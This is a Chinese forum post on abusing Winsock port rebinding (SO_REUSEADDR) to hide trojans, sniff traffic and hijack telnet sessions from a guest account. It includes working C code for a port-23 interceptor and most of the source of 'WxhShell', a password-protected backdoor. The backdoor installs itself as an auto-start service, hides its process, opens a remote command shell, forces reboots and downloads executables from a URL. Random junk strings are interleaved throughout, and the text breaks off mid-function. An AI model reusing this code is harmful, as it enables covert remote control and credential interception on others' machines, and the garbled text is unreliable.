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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 2<ef&?ljk  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); >x2T '  
OQ+?nB  
  saddr.sin_family = AF_INET; cb'8Li8,j  
y*uL,WH  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); elKQge  
X@~sIUXx9  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); }ZVNDvGH  
t&eD;lg :  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Q=^}B}G  
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  这意味着什么?意味着可以进行如下的攻击: #:s'&.6  
+Kf::[wP7  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ^1*p]j(  
6\::Ku4_2  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) y:2o-SJn  
DU 8)c$  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 QtN0|q{af  
zEO 9TuBO  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  0HNe44oI+D  
\s~ W;m  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ?[m5|ty#  
E"L'm0i[[  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 E+~~d6nB  
2B!nLL Cp+  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 i^QcW!X&  
&Q&$J )0  
  #include $7BD~U   
  #include IloHU6h'  
  #include }:jXl!:V  
  #include    YDmFR,047  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Q'A->I<;_s  
  int main() ~4\bR  
  { \{UiGCK  
  WORD wVersionRequested; ko, u  
  DWORD ret; 4e%SF|(Y'h  
  WSADATA wsaData; C}00S{nAZ  
  BOOL val; P}VD}lEyO  
  SOCKADDR_IN saddr; [6/ %ynlP  
  SOCKADDR_IN scaddr; w\@Anwj#L  
  int err; E3gQ`+wNg?  
  SOCKET s; fqF1 - %  
  SOCKET sc; D!@c,H  
  int caddsize; 0&mz'xra  
  HANDLE mt; RKBtwZx>f  
  DWORD tid;   #MBYa&Tw7  
  wVersionRequested = MAKEWORD( 2, 2 ); BRW   
  err = WSAStartup( wVersionRequested, &wsaData ); _C*}14 "3  
  if ( err != 0 ) { 3gGF?0o  
  printf("error!WSAStartup failed!\n"); `[:f;2(@  
  return -1; |5FyfDaFBX  
  } HZP`u >.  
  saddr.sin_family = AF_INET; EL+}ab2S  
   1$ l3-x  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 +Uk/Zg w^  
2smLv1w@  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); xUeLX`73  
  saddr.sin_port = htons(23); \?GMtM,  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) M"V?fn'  
  { :|fzGf  
  printf("error!socket failed!\n"); K}wUM^  
  return -1; + 1cK (Si  
  } IPY@9+]  
  val = TRUE; TSD7.t)^  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 p oNQ<ijK  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) .IG(Y!cB  
  { ,Z52d ggD  
  printf("error!setsockopt failed!\n"); hx:x5L>  
  return -1; EmH2 Dbw  
  } #|gt(p]C  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; C$?dkmIt  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 yuhSP{pv'  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 7[8PSoo  
Ao=.=0os  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) XRaq\a`=:  
  { #5'9T:8  
  ret=GetLastError(); )TP7gLv=b  
  printf("error!bind failed!\n"); P+o ZS  
  return -1; y&SueU=  
  } ^Dd$8$?[  
  listen(s,2); v+Ooihxl  
  while(1) >0u4>=#  
  { Qs*g)Yr  
  caddsize = sizeof(scaddr); xy[R9_V  
  //接受连接请求 O[q {y  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); :~g=n&x  
  if(sc!=INVALID_SOCKET) p+A#t~K  
  { ^ b}_[B  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); UB=I>  
  if(mt==NULL) Au:Q4x.  
  { N0/DPZX7  
  printf("Thread Creat Failed!\n"); DmPp&  
  break; &s\w: 9In  
  } R`A @F2  
  } 3C2L _ K3  
  CloseHandle(mt); k%Jw S_F  
  } CYs:P8^  
  closesocket(s); nKufVe  
  WSACleanup(); >* dqFZF  
  return 0; )CEfG  
  }   ?MyXii<a  
  DWORD WINAPI ClientThread(LPVOID lpParam) Svy bP&i|  
  { hcwKi  
  SOCKET ss = (SOCKET)lpParam; L)J0T Sh  
  SOCKET sc; jj.iW@m  
  unsigned char buf[4096]; GuNzrKDr  
  SOCKADDR_IN saddr; A2g +m  
  long num; 27G6C`}  
  DWORD val; (q"Nt_y  
  DWORD ret; ;ukwKf s  
  //如果是隐藏端口应用的话,可以在此处加一些判断 $#8dtF  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   i4&"-ujrm  
  saddr.sin_family = AF_INET; MAQkk%6[g  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); f9F@G&&Ugg  
  saddr.sin_port = htons(23); iLNKC'  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Ztr,v$  
  { ( n|PLi  
  printf("error!socket failed!\n"); VW$Hzx_z  
  return -1; >@rsh-Z  
  } g,r'].Jg  
  val = 100; r|:i: ii  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) vzd1:'^t  
  { a4Fe MCvV9  
  ret = GetLastError(); 4(f[Z9 iZ]  
  return -1; ND WpV  
  } @GK0j"_  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) bM; ==W  
  { 4%0eX]  
  ret = GetLastError(); |^[]Oy=  
  return -1; cLEBcTx  
  } hjtkq .@  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) T6*naH  
  { ! av B&Z  
  printf("error!socket connect failed!\n"); ?4P*,c  
  closesocket(sc); 8vOKm)[%  
  closesocket(ss); 3pl/k T.\  
  return -1; s{4|eYR  
  } & gnE"  
  while(1) 4p\<b8(9>  
  { AK]{^Hvz  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 7F!_gj p  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 : 9wW*Ix  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 S!j=hj@qW  
  num = recv(ss,buf,4096,0); CkKr@.dV  
  if(num>0) jeXv)}  
  send(sc,buf,num,0); mEyJ o|  
  else if(num==0) _~ZNX+4  
  break; F[BJhN*]a  
  num = recv(sc,buf,4096,0); ACxOC2\n  
  if(num>0) B"rnSui  
  send(ss,buf,num,0); "7mY s)=  
  else if(num==0) a|Io)Qhr  
  break; OOA %NKV  
  } ~8L*N>Y  
  closesocket(ss); AIgJ,=9K  
  closesocket(sc); W ZdEfY{  
  return 0 ; 2oyTS*2u_&  
  } SR7$m<0t*  
xOnbY U  
3z';Zwz &X  
========================================================== 6A&e2K>A  
`?r]OVe{y  
下边附上一个代码,,WXhSHELL $<cio X  
yr?*{;  
========================================================== mN Hd  
l$N b1&  
#include "stdafx.h" +aR.t@D+"Y  
. J[2\"W  
#include <stdio.h> -e0C Bp  
#include <string.h> ;43Ye ^=  
#include <windows.h> |U)m'W-(q  
#include <winsock2.h> ]wFKXZeK  
#include <winsvc.h> 41Bp^R}^/  
#include <urlmon.h> U+:oy:mz  
)[_A{#&  
#pragma comment (lib, "Ws2_32.lib") :ZG^`H/X1d  
#pragma comment (lib, "urlmon.lib") hiO:VA  
]k~Vh[[  
#define MAX_USER   100 // 最大客户端连接数 U  ?'$E\  
#define BUF_SOCK   200 // sock buffer l`=).k   
#define KEY_BUFF   255 // 输入 buffer 8fA9yQ 8  
l}odW  
#define REBOOT     0   // 重启 ;sJUTp5\h  
#define SHUTDOWN   1   // 关机 ] AkHNgW  
AKs=2N> 7  
#define DEF_PORT   5000 // 监听端口 \)Jv4U\;  
gSLwpIK%  
#define REG_LEN     16   // 注册表键长度 oz $T.  
#define SVC_LEN     80   // NT服务名长度 m| 8%%E}d  
tKg\qbY&  
// 从dll定义API Y8!T4dkn  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); [GKSQt{)  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); N'hj  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); s 33< }O0  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); D~_|`D5WK  
f5D.wSY  
// wxhshell配置信息 KQ'fp:5|/@  
struct WSCFG { 2B&Yw  
  int ws_port;         // 监听端口 clfi)-^ {K  
  char ws_passstr[REG_LEN]; // 口令 R7aS{8nn  
  int ws_autoins;       // 安装标记, 1=yes 0=no <q Z"W6&&  
  char ws_regname[REG_LEN]; // 注册表键名 K|*Cka{  
  char ws_svcname[REG_LEN]; // 服务名 E-h`lDoJ  
  char ws_svcdisp[SVC_LEN]; // 服务显示名  yH_L<n  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 o %#Z  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 {MX_t/o=f  
int ws_downexe;       // 下载执行标记, 1=yes 0=no s '%KKC  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" d bU  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 0_JbE  
SPKen}g  
}; Ht^MY  
%-"?  
// default Wxhshell configuration H -('!^  
struct WSCFG wscfg={DEF_PORT, *0bbSw1kc  
    "xuhuanlingzhe", Fs_,RXW"  
    1, {m5tgVi&  
    "Wxhshell", :H[E W3Q  
    "Wxhshell", 'Rk~bAX  
            "WxhShell Service", w7\:S>;(O"  
    "Wrsky Windows CmdShell Service", {#M=gDhbX  
    "Please Input Your Password: ", B.fLgQK0  
  1, _DfI78`(  
  "http://www.wrsky.com/wxhshell.exe", :@g@jcbYq`  
  "Wxhshell.exe" $eQ_!7Gom$  
    }; N>i1TM2  
rN? L8  
// 消息定义模块 'R6D+Vk/  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ]7kq@o/7  
char *msg_ws_prompt="\n\r? for help\n\r#>"; SxXh N  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; HN>eS Y+  
char *msg_ws_ext="\n\rExit."; K8*QS_*  
char *msg_ws_end="\n\rQuit."; M64zVxsd  
char *msg_ws_boot="\n\rReboot..."; b><jhbv  
char *msg_ws_poff="\n\rShutdown..."; s%]-Sw9  
char *msg_ws_down="\n\rSave to "; X?$Eb  
dtjaQsJM^  
char *msg_ws_err="\n\rErr!"; 9Vk61x6  
char *msg_ws_ok="\n\rOK!"; , 6\i  
E*Vx^k$  
char ExeFile[MAX_PATH]; Y>!9P\Xe  
int nUser = 0; >>krH'79  
HANDLE handles[MAX_USER]; Y%qhgzz?/  
int OsIsNt; Rf2/[  
><OdHRh@#  
SERVICE_STATUS       serviceStatus; GN{\ccej  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Zx25H"5j  
E=gD{1,?  
// 函数声明 d%9I*Qo0,  
int Install(void); "n '*_rh>+  
int Uninstall(void); dv4)fG]W;_  
int DownloadFile(char *sURL, SOCKET wsh); If6wkY6sR  
int Boot(int flag); f4s[R0l  
void HideProc(void); =Z/'|;Vd_x  
int GetOsVer(void); mL+}Ka  
int Wxhshell(SOCKET wsl); (o^V[zV  
void TalkWithClient(void *cs); M@!Gk  
int CmdShell(SOCKET sock); aVuan&]*=  
int StartFromService(void); =YA%= d_  
int StartWxhshell(LPSTR lpCmdLine); MS^,h>KI  
w;H  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); SrK;b .  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 3D\.S j%  
2 T{PIJg3  
// 数据结构和表定义 A#1aO  
SERVICE_TABLE_ENTRY DispatchTable[] = _'n;rZ+  
{ ] >ipC,v  
{wscfg.ws_svcname, NTServiceMain}, hv*n";V   
{NULL, NULL} DJ} xD&G  
}; %9mB4Fc6b)  
%n}fkj'  
// 自我安装 mm#U a/~1u  
int Install(void) j K[VEhs  
{ (]1le|+  
  char svExeFile[MAX_PATH]; LDV{#5J  
  HKEY key; [$[t.m  
  strcpy(svExeFile,ExeFile); | nry^zb  
UMhM8m!=o  
// 如果是win9x系统,修改注册表设为自启动 08k1 w,6W  
if(!OsIsNt) { od^ha  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8GlH)J+kq  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8"8{Nf-"  
  RegCloseKey(key); Qg 6m  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { p6=#LwL'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <S$y=>.9  
  RegCloseKey(key); l'16B^  
  return 0; k})9(Sy~  
    } ;o^m"I\y  
  } |xKB><  
} ^;@Bz~Z  
else { ixKQh};5/  
{7/6~\'/@  
// 如果是NT以上系统,安装为系统服务 mz\ m^g3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); _%1.D0<~-E  
if (schSCManager!=0) 82/iVm1  
{ BMX x(W]  
  SC_HANDLE schService = CreateService 3^ Z tIZ  
  ( ?J6hiQvL  
  schSCManager, IL%&*B  
  wscfg.ws_svcname, *;gi52tM  
  wscfg.ws_svcdisp, $^ >n@Q@&L  
  SERVICE_ALL_ACCESS, ,JZ@qmQ,  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 0e7v ?UT  
  SERVICE_AUTO_START, D3^v[>E2  
  SERVICE_ERROR_NORMAL, fZ %ZV  
  svExeFile, / TJTu_#  
  NULL, g:,4Kd|  
  NULL, k2+Z7#2n  
  NULL, 6kDU}]c:H]  
  NULL, +M.|D,wg2  
  NULL Ppp&3h[dW)  
  ); ]B7t9l  
  if (schService!=0) }Ql;%7  
  { f Fz8m  
  CloseServiceHandle(schService); }oU&J81  
  CloseServiceHandle(schSCManager); l{pF^?K  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); [R:O'AP}@}  
  strcat(svExeFile,wscfg.ws_svcname); zYs? w=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { zO\"$8q*  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 1b D c ct  
  RegCloseKey(key); c`jTdVD  
  return 0; >qgBu_  
    } 0WPxzmY  
  } \Q)~'P3  
  CloseServiceHandle(schSCManager); ^IId =V=2  
} r-0 7!A  
} n&Tv]-  
V('b|gsEo  
return 1; w'e enIX^^  
} _Ey8P0-I  
50Jr(OeU<  
// 自我卸载 rLXn35O  
int Uninstall(void) nbRg<@  
{ ]fc:CR  
  HKEY key; :Oj+Tc9A  
Q:LuRE!t  
if(!OsIsNt) { @Uu\x~3y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { />oU}m"k  
  RegDeleteValue(key,wscfg.ws_regname); 8]L.E  
  RegCloseKey(key); 2U+&F'&Q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { m6 gr!aT  
  RegDeleteValue(key,wscfg.ws_regname); 0CR;t`M@  
  RegCloseKey(key); iUKj:q:  
  return 0; %)e+w+  
  } kO#`m ]  
} g\Z k*5(  
} -I*A  `M  
else { D0P% .r"v  
WI9.?(5q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); utE:HD.PN  
if (schSCManager!=0) r]S9z  
{ &Y>u2OZ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); P&YaJUq.u  
  if (schService!=0) tvUvd(8 w  
  { O o:jP6r  
  if(DeleteService(schService)!=0) { E6gEP0b  
  CloseServiceHandle(schService); +NY4j-O  
  CloseServiceHandle(schSCManager); 1L|(:m+  
  return 0; f#t^<`7  
  } mI0r,Z*+M  
  CloseServiceHandle(schService); `lhLIQ'j  
  } g2]-Q.  
  CloseServiceHandle(schSCManager); $^!w`>0C  
} dNobvK  
} Y P c<  
X A|`wAGP  
return 1; (AYS>8O&  
} ss<'g@R  
B`aAvD`7  
// 从指定url下载文件 |DD?3#G01  
int DownloadFile(char *sURL, SOCKET wsh) g@k9w{_  
{ :ct+.#  
  HRESULT hr; S+G)&<a^  
char seps[]= "/"; { 1%ZyY  
char *token; bEKLameKv  
char *file; mW-W7-JhO7  
char myURL[MAX_PATH]; <^Tj}5 )n  
char myFILE[MAX_PATH]; I={{VQ  
-/%jeDKp  
strcpy(myURL,sURL); m-RY{DO+  
  token=strtok(myURL,seps); ~S6{VK.  
  while(token!=NULL) o3qv945  
  { ?m1$*j  
    file=token; @W8}N|jek  
  token=strtok(NULL,seps); 63S1ed [  
  } WZ&@ JB  
SWb5K0YRn  
GetCurrentDirectory(MAX_PATH,myFILE); fm>K4\2  
strcat(myFILE, "\\"); )uvFta<(  
strcat(myFILE, file); "S`wwl  
  send(wsh,myFILE,strlen(myFILE),0); (N|xDl &;  
send(wsh,"...",3,0); lkWeQ)V  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ,tF" 4|#  
  if(hr==S_OK) zw0 r i6  
return 0; zGd*Q5l  
else :$Q]U2$mPS  
return 1; +Y9D!=_lj  
F"f}vl  
} W<N QU f[=  
9hLmrYNM1  
// 系统电源模块 5`'au61/2  
int Boot(int flag) }:l%,DBw  
{ 9g5{3N3  
  HANDLE hToken; j X!ftm2  
  TOKEN_PRIVILEGES tkp; Oj lB 0  
i =fOdp  
  if(OsIsNt) { FlA\Ad;v  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); y#Za|nt  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 2N8sq(LK{  
    tkp.PrivilegeCount = 1; `MYKXBM  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ,iv%^C",)  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); IfmIX+t?  
if(flag==REBOOT) { nP{sCH 1  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) awSS..g}L  
  return 0; ?)o4 Kt'h  
} 0e:QuV2X  
else { ?r'TH/>  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) GE8D3V;*V  
  return 0; J%-lw{FC  
} $h]Y<&('G  
  } ic{.#R.BY  
  else { GKsL~;8"  
if(flag==REBOOT) { sHPwW5j/o'  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) N" Jtg@w  
  return 0; W "\tkh2  
} )4F/T,{;m  
else { CMxjX  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) d,J<SG&L&  
  return 0; xX&>5 "  
} e<O;pM:  
} 71<PEawL  
l;{N/cS  
return 1; Eagmafu  
} I bv_D$cT  
Yr"!&\[oz  
// win9x进程隐藏模块 kG;eOp16R  
void HideProc(void) qvfAG 0p  
{ {7![3`%7  
"U5Ln2X{J  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); gcW{]0%L^  
  if ( hKernel != NULL ) dj y:  
  { '^oGDlkr H  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); & L.PU@  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); hDD~,/yVxs  
    FreeLibrary(hKernel); kTi PZZI  
  } =S[FJaIu7  
Z*vpQBbu  
return; 8F`BJ6='  
} ReB(T7Vk=  
UU;-q_H6  
// 获取操作系统版本 A"bSNHCKF  
int GetOsVer(void) \Sq"3_m4T  
{ kP}hUrDX5  
  OSVERSIONINFO winfo; 7k`*u) Q  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); -|k&L}\OB0  
  GetVersionEx(&winfo); J^g,jBk  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) lEyG9Xvi  
  return 1; y[^k*,= 9  
  else Dc&9emKI  
  return 0; DQ n`@  
} \%-E"[!  
#E$Z[G]  
// 客户端句柄模块 P+;CE|J`X  
int Wxhshell(SOCKET wsl) *b6I%MZn  
{ +C'TW^  
  SOCKET wsh; Hlt8al3  
  struct sockaddr_in client; A'~%_}  
  DWORD myID; ax72ehL}  
Ha=_u+@  
  while(nUser<MAX_USER) )O2Nlk~l&  
{ t> x-1vf%  
  int nSize=sizeof(client); ElEv(>G*  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); fd5ZaE#f  
  if(wsh==INVALID_SOCKET) return 1; /slm ]'  
QX/X {h6  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); AK@`'$  
if(handles[nUser]==0) 7g A08M[O  
  closesocket(wsh); _4.]A 3;}  
else |b$>68:  
  nUser++; bVa+kYE  
  } 96"yNqBf  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); n*vTVt)dJ  
Q )LXL.0h  
  return 0; T}L^CU0  
} (B _7\}v|_  
(|0.m8D~D  
// 关闭 socket V-KL%  
void CloseIt(SOCKET wsh) kf%&d}2to  
{ Ow cVPu_  
closesocket(wsh); &=F-moDD  
nUser--; ]^J+-c  
ExitThread(0); heE}_,$|  
} m,W) N9 M  
V=j-Um;  
// 客户端请求句柄  G"o!}  
void TalkWithClient(void *cs) 8 uDerJ!  
{ IVI~1~  
YSR mt/  
  SOCKET wsh=(SOCKET)cs; hp bwZ  
  char pwd[SVC_LEN]; ,O:EX0  
  char cmd[KEY_BUFF]; o"rq/\ovv  
char chr[1]; d]tv'|E13  
int i,j; \~JNQ&_o  
o&(wg(Rv  
  while (nUser < MAX_USER) { T>}0) s  
vU=9ydAj?  
if(wscfg.ws_passstr) { j$3rJA%rN  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2 \^G['9  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $4Z+F#mx  
  //ZeroMemory(pwd,KEY_BUFF); '3A+"k-}mh  
      i=0; r55qmPhg  
  while(i<SVC_LEN) { |u@+`4o  
#SKfE  
  // 设置超时 A_!QrM  
  fd_set FdRead; >\V6+$cNp  
  struct timeval TimeOut; Zy^=fM  
  FD_ZERO(&FdRead); 6cJ<9i &  
  FD_SET(wsh,&FdRead); ev9; Ld  
  TimeOut.tv_sec=8; 7ftR 4  
  TimeOut.tv_usec=0; 3Jk[/ .h  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 1N8;)HLIBJ  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); w/ TKRCO3  
i+g~ Uj}h  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {m[s<A(  
  pwd=chr[0]; 3KSpB;HX  
  if(chr[0]==0xd || chr[0]==0xa) { RctU'T  
  pwd=0; }g~g50ci  
  break; MDJc[am  
  } j&5G\6:  
  i++; \K;op2  
    } *h$&0w y  
C,/O   
  // 如果是非法用户,关闭 socket 2 nv[1@M  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); jpRBER_X  
} 2-~|Z=eGW  
%}P4kEY  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); MaO"#{i  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;f:gX`"\  
OF[?Z  
while(1) { "+)K |9T#  
HTV ~?E  
  ZeroMemory(cmd,KEY_BUFF); gxwo4.,  
xACdZB(  
      // 自动支持客户端 telnet标准   q*, Q5  
  j=0; =.*98  
  while(j<KEY_BUFF) { ?c]n^GvG  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0"78/6XIs  
  cmd[j]=chr[0]; t V03+&jF  
  if(chr[0]==0xa || chr[0]==0xd) { =7%o E[  
  cmd[j]=0; P ZxFZvE  
  break; MuwQZ]u  
  } "X04mQn15  
  j++; T dk ,&8  
    } 5+- I5HX|~  
[ %}u=}@  
  // 下载文件 6.5wZN9<|  
  if(strstr(cmd,"http://")) { %T!J$a)qf  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ye%iDdf  
  if(DownloadFile(cmd,wsh)) "7,FXTaer  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); im]g(#GnKh  
  else <P_ea/5:|  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); paW@\1Q  
  } rv>^TR*,!  
  else { ujr(K=E  
@%hCAm  
    switch(cmd[0]) { yHeEobvb  
  xyA-P& N  
  // 帮助 j}:~5|.  
  case '?': { #Yuvbb[  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); `y^sITr  
    break; kL>d"w  
  } 8z2Rry w  
  // 安装 El- ? %  
  case 'i': { >?lOE -}^  
    if(Install()) `_vB+a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); WC,+Cn e  
    else 8X$LC  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 445o DkG  
    break; aG+j9Q_  
    }  k5`OH8G  
  // 卸载 LD>\#q8a*  
  case 'r': { Km#pX1]>e  
    if(Uninstall()) |Ic`,>XM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l;A,0,i  
    else 8RW&r  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?GA&f2]a  
    break; g(C|!}ex/  
    } Wg`AZ=t  
  // 显示 wxhshell 所在路径 tV;`fV   
  case 'p': { 44ed79ly0)  
    char svExeFile[MAX_PATH]; V 9wI\0  
    strcpy(svExeFile,"\n\r"); kc `V4b%  
      strcat(svExeFile,ExeFile); bzN-*3YE=  
        send(wsh,svExeFile,strlen(svExeFile),0); laKuOx}  
    break; !7bw5H  
    } 20RXK1So  
  // 重启 :}:3i9e*2  
  case 'b': { V/d/L3p  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); x NK1h-t  
    if(Boot(REBOOT)) Yc r3HLJy  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %V`F!D<D  
    else { ;< jbLhHwD  
    closesocket(wsh); I04jjr:<  
    ExitThread(0); /iC;%r1L  
    } +  @9.$6N  
    break; D]a:@x`+Bz  
    } uMb> xxf  
  // 关机 '_\;jFAM  
  case 'd': { #11NPo9  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 6lwta`2  
